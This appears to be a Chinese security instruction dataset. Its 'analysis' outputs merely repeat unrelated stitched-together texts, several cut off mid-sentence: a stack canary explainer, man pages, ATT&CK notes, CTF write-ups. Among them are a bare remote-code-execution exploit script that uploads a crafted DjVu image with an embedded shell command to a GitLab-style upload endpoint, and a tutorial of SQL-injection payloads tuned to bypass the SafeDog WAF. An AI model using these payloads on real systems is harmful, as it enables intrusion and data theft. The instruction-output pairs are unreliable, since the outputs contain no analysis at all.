Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Canary
## 介绍
Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。
我们知道，通常栈溢出的利用方式是通过溢出存在于栈上的局部变量，从而让多出来的数据覆盖 ebp、eip 等，从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后，函数开始执行的时候会先往栈底插入 cookie 信息，当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变)，如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老，相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里，直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效，就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变，以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段，它的出现很大程度上增加了栈溢出攻击的难度，并且由于它几乎并不消耗系统资源，所以现在成了 Linux 下保护机制的标配。
## Canary 原理
### 在 GCC 中使用 Canary
可以在 GCC 中使用以下参数设置 Canary:
```
-fstack-protector 启用保护，不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护，为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
```
### Canary 实现原理
开启 Canary 保护的 stack 结构大概如下：
```
        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local variables |
        Low     |                 |
        Address
```
当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。
这个操作即为向栈中插入 Canary 值，代码如下：
```asm
mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax
```
在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 Canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。
```asm
mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>
```
如果 Canary 已经被非法修改，此时程序流程会走到 `__stack_chk_fail`。`__stack_chk...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 小程序安全
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [微信小程序的渗透五脉](https://www.hackinn.com/index.php/archives/672/)
**相关案例**
- [乱杀之你的密钥被我看见了 | 技术精选0126](https://mp.weixin.qq.com/s/RclB8c6m7VI5V9pLAFjjpQ)
---
## 反编译
**相关工具**
- [xuedingmiaojun/wxappUnpacker](https://github.com/xuedingmiaojun/wxappUnpacker)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 跳转
---
## 服务端跳转
跳转发生在服务器上，用户不会有任何感觉。，往往通过代码去控制，因此有些时候我们也不叫做跳转。具体的服务端跳转行为有很多，各个语言技术都有各自的特点。
- 优点：跳转行为在 server 进行， 一次 tcp 连接完成相关操作，对用户是透明的，不会造成疑惑。
- 缺点：对用户隐藏了信息，跳转行为都发生在 server 端，对 server 有压力。
---
## 客户端跳转
**http层跳转**
http 跳转是指 server 根据工作情况通过 http 返回状态码，利用 http 的重定向协议指示客户端浏览器跳转到相应页面的过程，一般返回码是 302。跳转发生在服务端发生数据给客户端过程中，用户能够感觉到.
- 优点：响应速度快，在 http1.1 协议下通过合适的设置可以使用同一个 tcp 连接，节省网络时间，服务器及用户端都不需要进行额外的数据处理工作，节省时间。
- 缺点：仅仅能做跳转没有其他功能，基于 js 及 html 的跳转可以选择延时跳转，但是 302 无法选择延时跳转等。
**应用层跳转**
- html head 跳转（HTML refresh）
    跳转发生在服务端已经将数据传输到客户端以后，用户能够感觉到。
    - 优点：跳转方式灵活，可以指定延时跳转等等
    - 缺点：可能多次建立 tcp 连接，在低速网络下效率更低，浪费客户端的时间。
    在 html 代码的 head 中添加特殊标签，如下
    ```html
    <meta http-equiv="refresh" content="5"; url="https://ffffffff0x.com/" />
    ```
    表示：5秒之后转到 ffffffff0x 首页，这个跳转需要浏览器具体解析 html 后采能进行。
- js 跳转
    跳转发生在服务端已经将数据传输到客户端以后，用户能够感觉到
    - 优点：跳转方式灵活，可以指定延时跳转等等
    - 缺点：可能多次建立 tcp 连接，在低速网络下效率更低，浪费客户端的时间。
    通过在 html 代码中添加 js 代码，通过 js 代码实现跳转：
    ```html
    <script language="javascript" type="text/javascript">
    window.location.href="https://ffffffff0x.com/";
    </script>
    ```
    这个跳转应该比 html head 跳转更向后延迟。
---
## Source & Reference
- [【黑帽SEO系列】页面跳转](https://thief.one/2016/10/10/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E9%A1%B5%E9%9D%A2%E8%B7%B3%E8%BD%AC/)
- [页面自动跳转与http302、html refresh以及js跳转之间的关系](http://www.iigrowing.cn/ye-mian-zi-dong-tiao-zhuan-yu-http302-html-refresh-yi-ji-js-tiao-zhuan-zhi-jian-de-guan-xi.html)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#2016移动安全事记
时间线
- 0x00
	- 1.6 [“百脑虫”手机病毒分析报告](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/)
		于15年末，360移动安全团队发现，以功能模块形式捆绑在各类应用中，可进行提权、替换系统启动脚本、对抗安全工具、静默"推广"应用等。
	- 1.8 [京东钱包越权查询之任意查看两账户之- 0x间的转账信息](http://www.wooyun.org/bugs/wooyun-2016-0168304)
		年初，白帽子[骑虎打狗](http://www.wooyun.org/whitehats/%E9%AA%91%E8%99%8E%E6%89%93%E7%8B%97)在乌云平台上报了一个京东钱包应用的安全漏洞，与服务器方通信上的逻辑设计漏洞+未做认证导致可做越权信息查询。
	- 1.9 [雷电OS篡改MIUI系统签名，影响用户正常升级](http://www.tuicool.com/articles/RfuUnaN)
		继快播公审后，小米于2016年1月9日发布公告称360安全卫士欺骗用户安装恶意软件雷电OS，篡改MIUI系统签名，影响用户正常升级。为此，MIUI商店已经全线下架360软件。
		- 修改了开机画面。
		- 重刷了recovery，并且禁止用户使用。防止用户刷回官方系统。
		- 预置360安全卫士阉割版，应用商店，浏览器。
		- 禁用原有的浏览器，应用商店，系统升级。导致用户永远无法升级。
		- 预置了雷电桌面，并且无法修改为原有桌面和第三方桌面，修改后几秒钟会重新启动雷电桌面。
		- 修改原有系统签名。改为google的测试签名，导致原有手机的系统应用出现各种问题。
			*另附[知乎讨论](https://www.zhihu.com/question/35074885),有相关举证。*
	- 1.11 [滴滴打车内网漫游（登录任意司机&乘客账号、查看所有订单、大量内部系统、所有源代码）](http://www.wooyun.org/bugs/wooyun-2015-0155420)
	- 1.12 [面具恶魔”绕过Root恶意推广](http://seclab.safe.baidu.com/2016-01/fakegoogletools.html)
		恶意程序，可以在用户手机没有ROOT的情况下，骗取用户下载安装其他程序。这些开发者为了牟利，会在一些热门应用里植入自己开发的模块，当用户启动该程序后，会通过多种手段自动安装其他程序，比如通过激活Android系统自带的Accessibility功能，在Google Play市场上进行模拟点击安装程序，或者通过伪造一个虚假界面骗取用户点击，结果是用户的手机“莫名其妙”被装上自己并不需要的应用，甚至能够安装付费应用，造成经济损失。
	- 1.13 [A Case of Too Much Information: Ransomware Code Shared Publicly for “Educational Purposes”, Used Maliciously Anyway](http://blog.trendmicro.com/trendlabs-security-intelligence/a-case-of-too-much-information-ransomware-code-shared-publicly-for-educational-purposes-used-maliciously-anyway/)
		In mid-August 2015, in an attempt to educate people, Turkish security group Otku Sen published an open source code for ransomware dubbed “Hidden Tear” and made it available for everyone at github. Hidden Tear uses AES encryption and can evade common AV platforms because it’s a new malware. Otku Sen also published a short video demonstrating how ransomware worked.
		*好吧，这个是PC的，有一定教育意义，先放这吧。[样本传送门](https://www.virustotal.com/en/file/abfcaab8e584bb18eea79083...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Writeup HackIM (Nullcon) CTF 2016
Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w Nullcon CTF 2016, i znowu spróbujemy opisać zadania z którymi walczyliśmy.
### Spis treści:
* ["Twitter search" (Recon) 200](recon_1)
* ["Dictator" (Recon) 300](recon_2)
* ["Cook" (Recon) 300](recon_3)
* ["Nullcon youtube" (Recon) 400](recon_4)
* ["Game of life" (PPC/Recon) 500](recon_5)
* ["Xor with static key" (Crypto) 500](crypto_1)
* ["Caesar" (Crypto) 400](crypto_2)
* ["Repeating xor" (Crypto) 400](crypto_3)
* ["MD5" (Crypto) 200](crypto_4)
* ["RSA" (Crypto) 500](crypto_5)
* ["ZorroPub" (RE) 100](re_1)
* ["Pseudorandom" (RE) 300](re_2)
* ["Exploit 1" (PWN) 100](pwn_1)
* ["Exploit 2" (PWN) 200](pwn_2)
* ["Exploit 3" (PWN) 300](pwn_3)
* ["Sign server" (Web) 100](web_1)
* ["Unickle" (Web) 200](web_2)
* ["LUHN" (Web) 300](web_3)
* ["Smashthestate" (Web) 400](web_4)
* ["HQLol" (Web) 500](web_5)
* ["CatchMeIfYouCan" (Forensics) 100](forensics_1)
* ["Trivia 2" (Trivia/Recon) 200](trivia_2)
* ["Trivia 3" (Trivia) 300](trivia_3)
* ["Trivia 4" (Trivia) 400](trivia_4)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

version: '2'
services:
 electron:
   image: vulhub/electron:wine
   command: bash /docker-entrypoint.sh
   volumes:
    - ./src:/project
    - ./build:/build
    - ./docker-entrypoint.sh:/docker-entrypoint.sh
 web:
   image: nginx:1
   volumes:
    - ./build:/usr/share/nginx/html
   ports:
    - "8080:80"


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

xlsfonts
===
列出X Server使用的字体
## 补充说明
**xlsfonts命令** 列出X Server使用的字体，也能使用范本样式仅列出的符合条件的字体。
###  语法
```shell
xlsfonts(选项)
```
###  选项
```shell
-l：除字体名称外，同时列出字体的属性；
-ll：此参数的效果和指定"l"参数类似，但显示更详细的信息；
-lll：此参数的效果和指定"ll"参数类似，但显示更详细的信息；
-m：配合参数"-l"使用时，一并列出字体大小的上下限；
-n<显示栏位数>：设置每列显示的栏位数；
-o：以OpenFont的形式列出字体清单；
-u：列出字体清单时不依照其名称排序；
-w<每列字符数>：设置每列的最大字符数。
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1564-001-win-隐藏的文件和目录
## 来自ATT&CK的描述
攻击者可能会将文件和目录设置为隐藏，以逃避检测机制。为了防止普通用户意外更改系统上的特殊文件，大多数操作系统都具有“隐藏”文件的功能。当用户使用GUI浏览文件系统或在命令行上使用常规命令时，这些文件不会显示。用户必须通过一系列图形用户界面（GUI）提示或使用命令行开关（对于Windows为dir /a，对于Linux和macOS为ls –a）明确要求显示隐藏文件。
在Linux和Mac上，用户只需将“.”标记为隐藏，即可将其标记为隐藏。作为文件或文件夹名称中的第一个字符。默认情况下，以“.”开头的文件和文件夹在Finder应用程序和标准命令行实用程序（如“ ls”）中不会隐藏。用户必须专门更改设置才能查看这些文件。
macOS上的文件也可以用UF_HIDDEN标志标记，这可以防止在Finder.app中看到它们，但仍然允许在Terminal.app 中看到它们。在Windows上，用户可以使用attrib.exe二进制文件将特定文件标记为隐藏。许多应用程序都会创建这些隐藏的文件和文件夹来存储信息，以免使用户的工作空间变得混乱。例如，SSH实用程序会创建一个.ssh文件夹，该文件夹处于隐藏状态，其中包含用户的已知主机和密钥。
攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹，并逃避不包含对隐藏文件的调查的典型用户或系统分析。
## 测试案例
Attrib.exe是位于C\Windows\System32文件夹中的Windows操作系统文件。它允许您显示或更改文件属性。attrib命令的功能是设置，更改或删除这些文件属性使用attrib命令，可以使文件为只读，归档，系统和隐藏。
什么是文件属性？
A文件属性是与计算机上的任何文件相关联的元数据，描述或跟踪文件创建或修改，文件大小，文件扩展名和文件权限等信息。
## 检测日志
windows sysmon
## 测试复现
Attrib命令，可以让文件夹彻底的隐藏起来，就算是在文件夹选项中设置了显示隐藏文件夹，也无法显示出来的。只能通过路径访问的方式打开文件夹。
```yml
C:\Users\splaybow>help attrib
显示或更改文件属性。
ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I]
       [drive:][path][filename] [/S [/D] [/L]]
  + 设置属性。
  - 清除属性。
  R 只读文件属性。
  A 存档文件属性。
  S 系统文件属性。
  H 隐藏文件属性。
  I 无内容索引文件属性。
  [drive:][path][filename]
      指定 attrib 要处理的文件。
  /S 处理当前文件夹及其所有子文件夹中的匹配文件。
  /D 也处理文件夹。
  /L 处理符号链接和符号链接目标的属性。
```
## 测试留痕
windows sysmon/security
## 检测规则/思路
监视文件系统和Shell命令，以查找以“.”开头的文件。和Windows命令行使用attrib.exe添加隐藏属性。
### splunk规则
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\attrib.exe” CommandLine=”*+s*”)
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\attrib.exe” CommandLine=”*+h*”)
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1564-001
<https://attack.mitre.org/techniques/T1564/001/>
CMD中使用attrib命令设置文件只读、隐藏属性详解
<https://blog.csdn.net/whatday/article/details/52752555>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# theHarvester软件包描述
该程序的目标是收集来自于不同公开资源，如搜索引擎、PGP密钥服务器、SHODAN计算机数据库等的电子邮件、子域名、主机、员工姓名、开放端口和旗标信息。
旨在帮助渗透测试人员在渗透测试的早期阶段，了解客户在互联网上的足迹。这对任何想知道攻击者能看到自己组织是什么情况的人也是有用的。
这是一个完全重写的工具，引入了新的功能，如：
- 请求时间延迟
- 所有来源搜索
- 虚拟主机验证
- 活动枚举（DNS枚举、反向查找、TLD扩展）
- 集成SHODAN计算机数据库，获取开放端口和旗标信息
- 保存为XML和HTML
- 基础统计图
- 新的信息来源
资料来源：https://code.google.com/p/theharvester/
[theHarvester主页](https://code.google.com/p/theharvester/) | [Kali theHarvester资源](http://git.kali.org/gitweb/?p=packages/theharvester.git;a=summary)
- 作者：Christian Martorella
- 许可证：GPLv2
## theHarvester包含的工具
### theharvester - 从公开来源收集电子邮件帐户和子域名的工具
```
root@kali:~# theharvester
*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.2a                                          *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************
用法：theharvester 选项
        -d：搜索的域或公司名称
        -b：数据来源（google、bing、bingapi、pgp、linkedin、google-profiles、baidu、jigsaw、all）
        -s：结果编号从X开始（默认为0）
        -v：通过dns解析验证主机名，并搜索虚拟主机
        -f：将结果保存到HTML和XML文件中
        -n：对所有发现的地址范围进行DNS反向查询
        -c：对域名执行DNS强力解析
        -t：执行DNS TLD扩展发现
        -e：指定DNS服务器
        -l：限制结果数量（pgp不使用此选项）
        -h：使用SHODAN数据库查询已发现的主机
例子:    theharvester -d microsoft.com -l 500 -b google
        theharvester -d microsoft.com -b pgp
        theharvester -d microsoft -l 200 -b linkedin
```
## theharvester使用示例
从域（-d kali.org）搜索电子...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1590-001-收集目标组织网络信息-域属性
## 来自ATT&CK的描述
在入侵受害者之前，攻击者可能会收集受害者网络域的信息。有关域及其属性的信息可能包括各种详细信息，包括受害者拥有的域以及管理数据（例如：姓名，注册商等）以及更直接可操作的信息。例如联系人（电子邮件地址和电话），公司地址和名称服务器。
攻击者可以通过不同的方式收集这些信息，例如直接通过主动扫描（例如监听端口，服务器banner，用户代理字符串），钓鱼进行收集。也可能是通过在线或其他可访问的数据集（例如：WHOIS）（引自：WHOIS）（引自：DNS Dumpster）（引自：Circl Passive DNS）暴露给攻击者。收集这些信息可能为如下活动提供可能性：其他形式的侦察活动（例如：搜索公开技术数据库，搜索开放网站/域或钓鱼），建立运营资源（例如：获取基础设施或入侵基础设施），或实现初始访问（例如：钓鱼攻击）。
## 测试案例
Whois 简单来说，就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商、域名注册日期和过期日期、DNS等）。通过域名Whois服务器查询，可以查询域名归属者联系方式，以及注册和到期时间。
- Kali下whois查询
- 域名Whois查询 - 站长之家
- Whois 爱站
- ip138
- Whois Lookup
- ICANN Lookup
- 域名信息查询 - 腾讯云
- nicolasbouliane
- 新网 whois信息查询
- IP WHOIS查询 - 站长工具
- 微步在线
- 奇安信威胁情报平台
- ...
## 检测日志
无法有效监测
## 测试复现
![whois查询指定域名](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/1594459-20200119141241842-1090421140.png)
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高，并且相关的误报率也很高，并且有可能发生在目标组织的视野之外，从而使防御者难以发现。
检测工作可能会集中在攻击者生命周期的相关阶段，例如在"初始访问"阶段。
## 关联TIP
[[T1590-002-收集目标组织网络信息-DNS]]
[[T1590-003-收集目标组织网络信息-网络信任关系]]
[[T1590-004-收集目标组织网络信息-网络拓扑]]
[[T1590-005-收集目标组织网络信息-IP地址]]
[[T1590-006-收集目标组织网络信息-网络安全设备]]
## 参考推荐
MITRE-ATT&CK-T1590-001
<https://attack.mitre.org/techniques/T1590/001/>
收集域名信息.白帽与安全
<https://www.kancloud.cn/noahs/src_hacker/2119907>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

import sys
import re
import requests

target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')

def get_payload(command):
    rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
    rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
    rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
    rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
    rce_payload += command.encode()
    rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
    return rce_payload

def csrf_token():
    response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
    g = CSRF_PATTERN.search(response.content)
    assert g, 'No CSRF Token found'

    return g.group(1).decode()

def exploit():
    files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
    session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})

if __name__ == '__main__':
    exploit()
    print('finish test')


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Go through the hole
* Category: Web
* 400 Points
* Solved by the JCTF Team
## Description
> There is a rabbit hole that has a secret passage that leads to another world.
>
> Can you find this hidden path?
```go
func accessHandler(w http.ResponseWriter, r *http.Request) {
    file := strings.Join(r.URL.Query()["file"], "")
    filePath := "templates/access.html"
    if file != "" {
        requestedFile := filepath.Clean(file)
        tmpPath := filepath.Join("/app/templates", requestedFile)
            _, err := os.Open(tmpPath)
        if err == nil {
            filePath = tmpPath
        } else {
            log.Print(err)
        }
    }
    var tpl = template.Must(template.ParseFiles(filePath))
    tpl.Execute(w, nil)
}
```
## Solution
Manually searching for the vulnerability in the attached code is so 2021. Let's ask [ChatGPT](https://openai.com/blog/chatgpt/) what it is:
> There is a potential vulnerability in the code because the `filepath.Join()` function is used to construct the file path for the requested file, but this function does not validate the input file to ensure that it does not contain directory traversal sequences such as "`..`". This means that an attacker could potentially supply a file name that includes "`..`" in the query string, allowing them to access files outside of the `/app/templates` directory.
Nice. Let's try it:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Go_through_the_hole]
└─$ curl -i "https://go-through-the-hole.intent.ctf.today/?file=flag.txt"
HTTP/2 401
date: Fri, 16 Dec 2022 13:20:09 GMT
content-type: text/plain; charset=utf-8
content-length: 12
strict-transport-security: max-age=15724800; includeSubDomains
Unauthorized
```
That didn't work. In fact, nothing that had the "file=" parameter worked, and it looked like there's some WAF blocking requests before they arrive to `accessHandler`.
We looked for ways to bypass a WAF related to `Golang` and found [ParseThru](https://www.oxeye.io/blog/golang-parameter-smuggling-...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

import codecs
import os
import urllib
import urllib2
import speech_recognition as sr

url = 'http://yacst2.2016.volgactf.ru:8090/captcha'

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ'))

post_opener = urllib2.build_opener(urllib2.HTTPHandler())
post_opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ'))

def download_wav():
    wav = opener.open(url).read()
    with codecs.open("captcha.wav", mode="wb") as output:
        output.write(wav)

def convert_to_speech2():
    r = sr.Recognizer()
    with sr.WavFile('captcha.wav') as source:
        audio = r.record(source)
        return r.recognize(audio)

def send_response(result):
    try:
        data = urllib.urlencode({'captcha': result})
        return post_opener.open(url, data=data).read()
    except:
        pass

def removeFile():
    os.remove("captcha.wav")

def main():
    for i in range(3000):
        try:
            print(i)
            download_wav()
            result = convert_to_speech2()
            print(result)
            removeFile()
            response = send_response(result)
        except:
            pass

main()
#FLAG: VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A}


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# poet
PWN
## Description:
> We are looking for the poet of the year
A binary file was attached.
## Solution:
Let's see what the program does:
```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# ./poet
**********************************************************
* We are searching for the poet of the year 2018.        *
* Submit your one line poem now to win an amazing prize! *
**********************************************************
Enter the poem here:
> Roses are red, my screen is blue
Who is the author of this poem?
> MS
+---------------------------------------------------------------------------+
THE POEM
Roses are red, my screen is blue
SCORED 0 POINTS.
SORRY, THIS POEM IS JUST NOT GOOD ENOUGH.
YOU MUST SCORE EXACTLY 1000000 POINTS.
TRY AGAIN!
+---------------------------------------------------------------------------+
```
So we can enter a poem and an author, and we get graded for the poem.
Let's check the disassembly:
```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# r2 ./poet
 -- The door can see into your soul.
[0x00400680]> aa
[WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400680]> afl
0x004005c8    3 23           sym._init
0x004005f0    1 6            sym.imp.strcpy
0x00400600    1 6            sym.imp.puts
0x00400610    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.gets
0x00400640    1 6            sym.imp.setvbuf
0x00400650    1 6            sym.imp.fopen
0x00400660    1 6            sym.imp.strtok
0x00400670    1 6            sym.imp.exit
0x00400680    1 43           entry0
0x004006b0    1 2            sym._dl_relocate_static_pie
0x004006c0    4 42   -> 37   sym.deregister_tm_clones
0x004006f0    4 58   -> 55   sym.register_tm_clones
0x00400730    3 34   -> 29   sym.__do_global_dtors_aux
0x00400760    1 7            ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

import codecs
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from crypto_commons.generic import bytes_to_long
from crypto_commons.rsa.rsa_commons import gcd, get_fi_distinct_primes, modinv

def read_ct():
    with codecs.open("cipher", "rb") as input_file:
        data = input_file.read()
        print(len(data))
        msg = bytes_to_long(data)
    return msg

def read_key(filename):
    with codecs.open(filename, "r") as input_file:
        data = input_file.read()
        pub = RSA.importKey(data)
        print(pub.e, pub.n)
    return pub

def main():
    pub1 = read_key("pub1.pub")
    pub2 = read_key("pub2.pub")
    p = gcd(pub1.n, pub2.n)
    print(p)
    q1 = pub1.n / p
    q2 = pub2.n / p
    print(p, q1)
    print(p, q2)
    msg = read_ct()

    d1 = modinv(pub1.e, get_fi_distinct_primes([p, q1]))
    d2 = modinv(pub2.e, get_fi_distinct_primes([p, q2]))

    first = pow(msg, d1, pub1.n)
    print(long_to_bytes(first))

main()


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 0x00 简介
其实我们过这些waf就是个正则的绕过，因为这种通用型的waf，需要考虑到用户体验，他不能出现什么东西就直接拦截，比正则过滤的一些好绕一点，如何成功绕过我们需要具备对mysql各个函数、语法、特性的熟悉，然后通过不断的fuzz来测试出我们想要的payload的
每个狗的版本不同，他的正则也是不同的所以有的payload在最新版可以用，在老版本就可能用不上，当你的知识量有一定的积累后，绕过waf或许就很简单，
如何快速的提升自己的这些知识，多看文章，多看官方手册。
# 0x01 探索 and
实验环境 ： win2003 apache 安全狗4.0.23957
首先我们来探索简单的语句 `and 1=1`
```
and 1    拦截
and '1'  拦截
and a    不拦截
and 'a'  拦截
and !    不拦截
and 1+1  拦截
and 1+a  拦截
and hex(1) 不拦截
```
通过测试我们发现当 and 后面跟上 数字型和字符型时他会给我们拦截掉 ，其实我们在安全狗的规则里面可以看到他拦截 and 和 or 所以我们有2个思路
1. 用其他字符替换 and 或者 or
2. 带入的不是字符串和数字型，带入一个特殊符号
针对第一种我们可以去看看运算符号 随便找到几个`| ^ xor & / * && ||` 等等还有很多
```
mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)
mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)
mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)
```
知道这个了我们带入我们的语法就很简单了 通过运算符来改变ID的值 查看页面是否变化 这是可行的。
```
mysql> select * from admin where id ='1'|2-- +';
    -> ;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    3 | bdmin    | fdmin    |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from admin where id ='1'|1-- +';
    -> ;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | cdmin    | bdmin    |
+------+----------+----------+
1 row in set (0.00 sec)
```
经过测试你还会发现他的正则不全`&& true` 也是可以的。
那我们可以不可以正面刚`and` `or` 呢，当然也是可行的，前面我们测试过 `and hex(1)` 不拦截其实已经可以拿来判断了，但是我们还要深入的探究
`and hex(1)=` 也是不拦截的 但是后面加入字符型和数字型他又开始拦截，所以我们可以猜测 他判断 = 左右的字符类型，经过测试就能出来很多我们想要的
```
and ~1>1
and hex(1)>-1
and hex(1)>~1
```
再深入探究 你就会发现 安全狗他只在乎 数字型的正数，而不在乎负数，也就是`and -2<-1` 就能过狗，也可能是`-` 绕过了他的正则
# 0x02 探索 union select
1.  内联注释绕过
```
union    不拦截
select   不拦截
union select 拦截
union 各种字符 select 拦截
union/*select*/ 不拦截
```
通过简单的测试我们发现安全狗还是认识我们我们的注释的符号的,所以我们就需要通过这个来绕过我们的安全狗，前面符号一章我讲过注释符号的几种，我们主要使用的是
内联注释 `/*!/*!*/`
```
http://192.168.59.129/Less-1/?id=1' union/*!...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

gzip
===
用来压缩文件
## 补充说明
**gzip命令** 用来压缩文件。gzip是个使用广泛的压缩程序，文件经它压缩过后，其名称后面会多处“.gz”扩展名。
gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间，还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式。据统计，gzip命令对文本文件有60%～70%的压缩率。减少文件大小有两个明显的好处，一是可以减少存储空间，二是通过网络传输文件时，可以减少传输的时间。
### 语法
```shell
gzip(选项)(参数)
```
### 选项
```shell
-a或——ascii：使用ASCII文字模式；
-d或--decompress或----uncompress：解开压缩文件；
-f或——force：强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接；
-h或——help：在线帮助；
-l或——list：列出压缩文件的相关信息；
-L或——license：显示版本与版权信息；
-n或--no-name：压缩文件时，不保存原来的文件名称及时间戳记；
-N或——name：压缩文件时，保存原来的文件名称及时间戳记；
-q或——quiet：不显示警告信息；
